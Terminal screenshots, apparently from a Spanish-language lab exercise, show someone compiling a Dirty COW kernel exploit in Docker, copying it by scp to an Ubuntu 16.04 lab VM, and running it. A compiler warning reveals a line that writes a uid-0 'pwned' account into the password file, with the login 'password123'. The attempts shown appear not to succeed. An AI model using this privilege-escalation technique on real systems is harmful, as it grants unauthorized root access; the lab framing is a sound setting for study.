

```
kali@kali: ~  
File Actions Edit View Help  
ED25519 key fingerprint is SHA256:gxBdzCya8lPBSzGJYF0igtwELgqYTqFEInACA3KRLRQ  
This key is not known by any other names.  
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes  
Warning: Permanently added '192.168.1.20' (ED25519) to the list of known hosts  
.  
student@192.168.1.20's password:  
dirty 100% 13KB 6.2MB/s 00:00  
—(kali⊗kali)-[~]  
-$ scp ./dirty student@192.168.1.20:/home/student/  
student@192.168.1.20's password:  
dirty 100% 13KB 6.3MB/s 00:00  
—(kali⊗kali)-[~]  
-$ sudo docker cp compile-ubuntu16:/dirty ./dirty  
[sudo] password for kali:  
Successfully copied 15.4kB to /home/kali/dirty  
—(kali⊗kali)-[~]  
-$ scp ./dirty student@192.168.1.20:/home/student/  
student@192.168.1.20's password:  
dirty 100% 13KB 5.6MB/s 00:00  
—(kali⊗kali)-[~]  
-$ █
```

```
dirty-cow-lab 1 [Corriendo] - Oracle VirtualBox
Archivo  Máquina  Ver  Entrada  Dispositivos  Ayuda
Password:
Login incorrect
ubuntu login: student
Password:
Last login: Sun Jan 18 15:48:40 ART 2026 on tty1
Welcome to Ubuntu 16.04.1 LTS (GNU/Linux 4.4.0-31-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:       https://ubuntu.com/advantage

271 packages can be updated.
183 updates are security updates.

New release '18.04.6 LTS' available.
Run 'do-release-upgrade' to upgrade to it.

student@ubuntu:~$ su pwned
No passwd entry for user 'pwned'
student@ubuntu:~$ chmod +x /home/student/dirty
student@ubuntu:~$ /home/student/dirty
Iniciando exploit Dirty COW...
Exploit finalizado. Prueba a entrar con: su pwned (clave: password123)
student@ubuntu:~$ su pwned
No passwd entry for user 'pwned'
student@ubuntu:~$ su pwned
No passwd entry for user 'pwned'
student@ubuntu:~$ su pwned
No passwd entry for user 'pwned'
student@ubuntu:~$ cd /home/student
-bash: cd /home/student: No such file or directory
student@ubuntu:~$ cd /home/student
student@ubuntu:~$ ./dirty && sync
Iniciando exploit Dirty COW...
-
```

```
Setting up libc-dev-bin (2.23-0ubuntu11.3) ...
Setting up linux-libc-dev:amd64 (4.4.0-210.242) ...
Setting up libc6-dev:amd64 (2.23-0ubuntu11.3) ...
Setting up libstdc++-5-dev:amd64 (5.4.0-6ubuntu1~16.04.12) ...
Setting up g++-5 (5.4.0-6ubuntu1~16.04.12) ...
Setting up g++ (4:5.3.1-1ubuntu1) ...
update-alternatives: using /usr/bin/g++ to provide /usr/bin/c++ (c++) in auto
mode
Setting up manpages-dev (4.04-2) ...
Processing triggers for libc-bin (2.23-0ubuntu11.3) ...
root@84be3dea2fa6:/# g++ -pthread -o /dirty dirty.cpp
dirty.cpp: In function 'int main(int, char**)':
dirty.cpp:27:19: warning: deprecated conversion from string constant to 'char
*' [-Wwrite-strings]
    char *pwned = "pwned:$6$s/L.t6Rz$Y8W.07q2F1:0:0:pwned:/root:/bin/bash\n"
                  ^
root@84be3dea2fa6:/#
84be3dea2fa6      ff02::1          ip6-localhost    localhost
::1              ff02::2          ip6-localnet
fe00::0          ip6-allnodes    ip6-loopback
ff00::0          ip6-allrouters  ip6-mcastprefix
root@84be3dea2fa6:/# ls -l /dirty
-rwxr-xr-x 1 root root 13552 Jan 18 18:36 /dirty
root@84be3dea2fa6:/# exit
exit
```